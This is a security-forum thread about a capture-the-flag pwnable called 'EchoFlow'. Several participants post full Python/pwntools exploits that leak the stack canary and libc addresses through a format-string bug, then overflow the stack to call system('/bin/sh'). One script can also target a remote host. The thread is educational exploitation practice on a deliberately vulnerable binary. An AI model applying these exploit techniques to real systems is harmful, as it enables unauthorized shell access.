[Pwnable] EchoFlow Me Once Shame On You

binary
pwning
exploitation
linux

#1

Hi.


###Difficulty

3/10


###Objective

Get a shell.


###Rules

  • ASLR on.

  • Since no libc is provided, all you have to do is pwn the binary locally.

  • GOT overwrite is off the map. Using it for code redirection will lead to disqualification.

  • Full exploit + demo (i.e asciinema) are accepted as valid solutions. Just a screenshot of the shell doesn’t mean anything.


###Binary

Pwn me if you can


~ gl & hf


(exploit) #2
  • Oh yeah, i’ll sure take a small look at the binary today :blush:!

#3

Virustotal Scan:https://www.virustotal.com/#/file/c03a2653fcfd25026f26275c606ee32683dd72fa120937d9bf0f6a3e9033996b/detection

Will try this out in a bit :slight_smile:


(exploit) #4

Done, good challenge :smiley: !


#5

@exploit Let the rest feel the taste of first blood for once :stuck_out_tongue: Just kidding, great job man! :wink:

Any feedback? Was it a bit tougher/trickier than the previous one?

Feel free to share your PoC exploit inside the spoiler tags so those who were stuck can benefit from it. I’ll post mine in a couple of days. I’m curious if you solved it the intended way.

Did you use read() in order to leak the canary? I hope you didn’t use the GOT overwrite technique.

@Xorus Even a hello-world program gets picked up by AVs as malicious anymore, just FYI :slight_smile: Cheers.


#6

@_py Yeah I get that, just usually makes people a lot calmer around files. Especially on security / hacking forums.


#7

thanks @_py for the challenge. here’s my poc

from pwn import *
context(arch='i386', os='linux')

# use libc-database to find offset
# ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu7_i386)
offset_printf = 0x00049670
offset_system = 0x0003ada0
offset_str_bin_sh = 0x15b9ab

# open the process
r = process("./echoflow")

# leak printf address & canary
r.recvuntil("Enter your input and I'll echo it back!\n")
r.sendline("\x14\xa0\x04\x08%23$s|%39$X|END")
out = r.recvuntil("|END").split("|")
printf_addr = u32(out[0][4:8])
print "printf address = 0x{:x}".format(printf_addr)
canary = int(out[1], 16)
print "canary = 0x{:x}".format(canary)

# calculate system address & sh address
system_addr = printf_addr - offset_printf + offset_system
sh_address = printf_addr - offset_printf + offset_str_bin_sh
print "system address = 0x{:x}".format(system_addr)
print "sh address = 0x{:x}".format(sh_address)

# create & send payload to get shell
payload = flat("a"*128, canary, "a"*12, system_addr, "a"*4, sh_address)
r.recvuntil("Overflow me if you can!\n")
r.sendline(payload)
r.recvline()
r.interactive()


#8

Damn, I didn’t think of banning capital ‘x’ :confused: The intended way to leak the canary was via the read() function. Try leaking it via that, it will require a bit of more creativity. Congrats either way! :ok_hand:


#9

NOTE: Don’t use the fsb to leak the canary (though it’s fair game). Be more creative!


(exploit) #10

Yoooo, I just came back home! :smile:
About the binary, it was better than the last one, I followed the rules and I ended up solving it the intended way :smiley:!
Sorry for the late reply, i’ll share my POC:

#!/usr/bin/python
from pwn import *

# LOCAL DIFF
sh_diff = 0x15cc28
sys_diff = 0x3a840
exit_diff = 0x8f860

counter_address = 0x0804a03c
c = process("./echoflow")

main = 0x80485dd

# Increase loop-size
# You can either use %u or %i or %X, since alot of format-specifiers are filtred..
format_payload = p32(counter_address) + "%1u%23$hn"

c.sendline(format_payload)

c.recvuntil("Overflow me if you can!")
# Exploiting the Non-NULL-Terminated string for a leak!
payload = "B" * (4*11)
c.sendline(payload)

c.recvuntil(payload)
c.recvline()

canary = u32(c.recv(3).rjust(4, "\x00"))
print "Canary: " + hex(canary)
c.recv()

# Use the format-string bug to leak the content of a GOT entry ( exit_got )
# It contains the address of the exit function in libc..
format_payload = p32(0x0804a028) + "%23$s"
c.sendline(format_payload)

# Saving and calculating part..
c.recvline()
libc_exit = u32(c.recvline()[:-1][8:12])
libc_base = libc_exit - exit_diff
print "libc_base @ " + hex(libc_base)
binsh = libc_base + sh_diff
system = libc_base + sys_diff

c.recvuntil("Overflow me if you can!")
# Leaking the before_canary value; consider it, like two stack canaries..
payload = "A" * 128
c.sendline(payload)

c.recvuntil(payload)
c.recvline()

before_canary = u32(c.recv(3).rjust(4, "\x00"))

# Using the leaked canaries to prevent __stack_chk_fail() from being called
# and using the previous format leak, and it's calculated addresses
# to call system("/bin/sh") and pop a shell!
payload += p32(before_canary)
payload += p32(1)
payload += p32(canary)
payload += p32(0)
payload += p32(system)
payload += "BBBB"
payload += p32(binsh)

c.sendline("JUNK")
c.recvuntil("Overflow me if you can!")
c.sendline(payload)

# Press enter many times to escape the loop..
# BINGO! shell :) ( probably, lol )
c.recv()

c.interactive()


#11

i thought about leaking canary using the intended method, but since i can use fsb why bother :stuck_out_tongue_winking_eye: anyway here’s another poc

from pwn import *
context(arch='i386', os='linux')	

# use libc-database to find offset
# ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu7_i386)
offset_printf = 0x00049670
offset_system = 0x0003ada0
offset_str_bin_sh = 0x15b9ab

# open the process
r = process("./echoflow")

# leak printf & create loop
r.recvuntil("Enter your input and I'll echo it back!\n")
r.sendline("\x3c\xa0\x04\x08\x14\xa0\x04\x08%23$hn%24$s")
printf_addr = u32(r.recvline().strip()[8:12])
print "printf address: 0x{:x}".format(printf_addr)

# calculate system address & sh address
system_addr = printf_addr - offset_printf + offset_system
sh_address = printf_addr - offset_printf + offset_str_bin_sh
print "system address = 0x{:x}".format(system_addr)
print "sh address = 0x{:x}".format(sh_address)

# leak canary
r.recvuntil("Overflow me if you can!\n")
r.send("a" * 128 + "|")
canary = u32("\x00" + r.recvline().split("|")[1][:3])
print "canary = 0x{:x}".format(canary)

# create payload
payload = flat("a"*128, canary, "a"*12, system_addr, "a"*4, sh_address)

# run payload
for i in xrange(7):
	r.recvuntil("Enter your input and I'll echo it back!\n")
	r.sendline("JUNK")
	r.recvuntil("Overflow me if you can!\n")
	if i < 6: r.sendline("JUNK")
	else: r.sendline(payload)
r.recvline()
r.interactive()

#12

There you go! You nailed it folks! :call_me_hand:

Here’s my PoC for the sake of exploit variety:


from pwn import *

fgets_got = 0x804a018
counter   = 0x804a03c

def echo(payload):

	p.recvuntil('back!\n')
	p.sendline(payload)

	return 

def ovflow(payload):

	p.recvuntil('can!\n')
	p.sendline(payload)

	return

def leak_libc(addr, off):

	p.recvuntil('back!\n')

	payload  = ''
	payload += p32(addr)
	payload += "%{}$s".format(str(off))

	p.sendline(payload)

	leak = u32(p.recvline()[4:8])

	return leak

def leak_canary(payload):

	p.recvuntil('can!\n')

	p.sendline(payload)
	p.recvuntil(payload[-1] + '\n')

	canary = u32(p.recv(3).rjust(4, '\x00'))

	return canary

def overwrite(addr, off, pad = 0):

	p.recvuntil('back!\n')

	if (pad == 0):
		payload  = ''
		payload += p32(addr)
		payload += "%{}$n".format(str(off))

	else:
		payload  = ''
		payload += p32(addr)
		payload += "%{}${}x".format(str(off), str(pad - len(pad)))
		payload += "%{}$n".format(str(off))

	p.sendline(payload)

	return

def ropme(payload, sys, ret, sh):

	p.recvuntil('can!\n')

	exploit  = payload
	exploit += p32(sys)
	exploit += p32(ret)
	exploit += p32(sh)

	p.sendline(exploit)

	return

def pwn():
	# Overwrite the counter variable
	overwrite(counter, 23, 0)

	# Leak stack canary
	payload  = ''
	payload += 'A'*128

	canary = leak_canary(payload)

	log.success("Canary: {}".format(str(hex(canary))))

	# Leak libc 
	fgets     = leak_libc(fgets_got, 23)
	libc_base = fgets - libc.symbols['fgets']
	system    = libc_base + libc.symbols['system']
	binsh     = libc_base + next(libc.search("/bin/sh\x00"))

	log.success("fgets:  {}".format(str(hex(fgets))))
	log.success("Libc:   {}".format(str(hex(libc_base))))
	log.success("system: {}".format(str(hex(system))))

	# 128 padding + canary + 12 padding + ROP payload
	payload  = ''
	payload += 'A'*128
	payload += p32(canary)
	# Padding until we reach the ret addr
	payload += 'A'*12

	ropme(payload, system, 0x41414141, binsh)

	echo('a')
	ovflow('a')
	echo('a')
	ovflow('a')

	p.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        p = remote(sys.argv[1], int(sys.argv[2]))
        pwn(p)
    else:
        p    = process('./echoflow')
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
        pwn()

New pwnable is in the making :wink:


(exploit) #13
  • Oh yeah *_* can’t wait! :smile:

#14

great! since i’m fairly new in this, i learnt a lot from your pwnables :grimacing:


(vladimir) #15

Done , Good challenge :smiley:

    from pwn import *

    r = process('./echoflow')
    raw_input("++")



    stackgot = 0x0804a01c
    main = 0x80485dd

    readgot = 0x0804a010

    sysoff =0x3ab30

    libc_start = 0x18180

    binshoff = 0x15cdc8



    pld = p32(stackgot)+"%23$s" + " %39$X"

    r.recvuntil('back!')
    r.sendline(pld)
    r.recvuntil("\n")
    r.recvuntil("\n")

    data = r.recvuntil("\n").split(" ")

    libc_base = u32(data[0][2:6]) - libc_start

    canary = int("0x"+data[1][:-1],16)

    system = libc_base + sysoff

    binsh = libc_base + binshoff

    r.recvuntil("can!")


    final = "A"*128

    final += p32(canary)

    final += "AAAABBBBCCCC"

    final += p32(system)

    final += p32(0xdeadbeef)

    final += p32(binsh)

    r.sendline(final)

    r.interactive()

#16